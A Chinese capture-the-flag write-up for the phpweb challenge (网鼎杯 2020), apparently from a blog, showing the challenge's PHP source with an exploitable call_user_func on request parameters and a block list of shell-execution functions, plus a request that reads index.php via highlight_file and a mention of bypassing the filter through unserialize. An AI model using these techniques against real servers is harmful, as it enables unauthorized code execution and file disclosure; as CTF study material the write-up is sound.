BUU29 [网鼎杯 2020 朱雀组]phpweb1

开幕雷击:

听不懂思密达

抓个包看看

发现传入一个函数

复制代码
func=date&p=Y-m-d+h%3Ai%3As+a

p 通常作为参数的值传递给前面指定的函数,将其url解码后得到 Y-m-d h:i:s a,这是 date() 函数中用于指定日期和时间格式的字符串

  • Y:表示四位数的年份,例如 2025
  • m:表示两位数的月份,范围从 0112
  • d:表示两位数的日期,范围从 0131
  • h:表示 12 小时制的小时数,范围从 0112
  • i:表示分钟数,范围从 0059
  • s:表示秒数,范围从 0059
  • a:表示上午或下午,值为 ampm

尝试着这么构造,发现不行

输入

html 复制代码
func=highlight_file&p=index.php 

这样就能看见源代码了

另一种读取源代码方式:file_get_content()

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

call_user_func() 函数允许你将函数名作为一个字符串传递给该函数,并可以向被调用的函数传递参数。

利用反序列化漏洞,既然可以执行任何函数,那么就可以执行unserialize()

然后就能遍历目录,但是没有flag

查看根目录:

还是没有

用find搜索:

html 复制代码
find / -name flag*

发现有flag

使用cat命令

拿到flag

相关推荐
波兰的蓝3 小时前
CVE-2016-4437 Apache Shiro反序列化漏洞复现
web安全·网络安全
上海云盾-小余5 小时前
零信任安全落地实战:企业如何构建无边界可信访问体系
网络·安全·web安全·架构
谪星·阿凯6 小时前
从入门到拿Flag:XXE漏洞全解析
安全·web安全·网络安全
hwscom6 小时前
ChurchCRM SQL注入漏洞(CNVD-2026-12565、CVE-2026-24854)
sql·web安全
运维有小邓@7 小时前
文件分析如何检测文件安全漏洞?
网络·安全·web安全
兄弟加油,别颓废了。1 天前
BUUCTF——Basic——BUU LFI COURSE 11
安全·web安全
cramer_50h1 天前
我的 网络安全资产暴露/攻击面管理系统
安全·web安全
Chengbei111 天前
Chrome浏览器渗透利器支持原生扫描!JS 端点 + 敏感目录 + 原型污染自动化检测|VulnRadar
javascript·chrome·安全·web安全·网络安全·自动化·系统安全
尤山海1 天前
深度防御:内容类网站如何有效抵御 SQL 注入与脚本攻击(XSS)
前端·sql·安全·web安全·性能优化·状态模式·xss